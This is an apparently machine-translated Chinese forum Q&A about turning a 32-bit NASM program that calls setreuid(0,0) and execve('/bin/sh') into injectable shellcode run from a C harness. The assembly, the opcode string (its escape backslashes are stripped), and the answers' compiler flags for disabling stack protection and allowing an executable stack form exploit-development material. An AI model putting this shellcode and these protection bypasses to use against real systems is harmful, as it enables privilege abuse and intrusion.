C语言 我怎样才能把它变成外壳代码



好吧,我写了一个生成shell的ASM文件。

但是,.

text部分变为"只读",因此我将所有内容保留在.data部分中。当我使用 NASM 和 ld 编译它时,它运行良好。然后,当我使用 shellcode 并在 C 程序中运行它时,我发现了错误。

ASM:

SECTION .data
        global _start
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov al, 70d
        int 80h
        jmp jump
rev:
        pop ebx
        xor eax, eax
        mov BYTE [ebx+7], al
        mov DWORD [ebx+8], ebx
        mov DWORD [ebx+12], eax
        mov al, 11d
        lea ecx, [ebx+8]
        lea edx, [ebx+12]
        int 80h
jump:
        call rev
shell: db "/bin/sh011112222"

当我编译它时:

nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o

一切都很完美。我可以 ./shell 和一个 shell 生成。但是,当我使用:

objdump -d shell (objdump -d shell 不显示 .data 部分)

并将其更改为\x??格式,我无法执行shell。外壳代码:

x31xc0x31xdbx31xc9x31xd2xb0x46xcdx80xebx16x5bx31xc0x88x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8dx53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68x30x31x31x31x31x32x32x32x32

在 C 文件中:

#include <stdio.h>
unsigned char * shellcode = "x31xc0x31xdbx31xc9x31...";
int main(){
        printf("[~] Shellcode length (bytes): %dn", strlen(shellcode));
        ((void(*)(void))shellcode)();
        return 0;
}

赛格故障。

以下是 NASM 编译文件的strace输出的前几行:

[root@Arch tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0)                          = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]

现在,这是带有外壳代码的 C 编译文件的strace输出:

[root@Arch tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0)                                  = 0x238b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

在 c 程序中,替换:

unsigned char * shellcode = "x31xc0x31xdbx31xc9x31...";

unsigned char shellcode[] = "x31xc0x31xdbx31xc9x31...";

否则 gcc 会把它放在只读部分(使用 -S 编译以生成 asm 并查看该部分)

此外,您可能需要使用 -fno-stack-protector -z execstack 编译它以避免堆栈保护。

不可能

做这样的事情。

第一个问题:如果将C程序编译为64位程序,则不能将其与32位代码混合使用。我假设你做到了。

第二个:即使你将C程序编译为32位程序(你必须安装32位共享库才能运行它),你也无法运行该程序。这是因为 Linux 的内存管理将通过设置 MMU 的 NX 位来禁止在数据部分中执行代码。

这意味着:尝试执行字符串中的代码(就像你一样)将导致分段错误!

相关内容

  • 没有找到相关文章

最新更新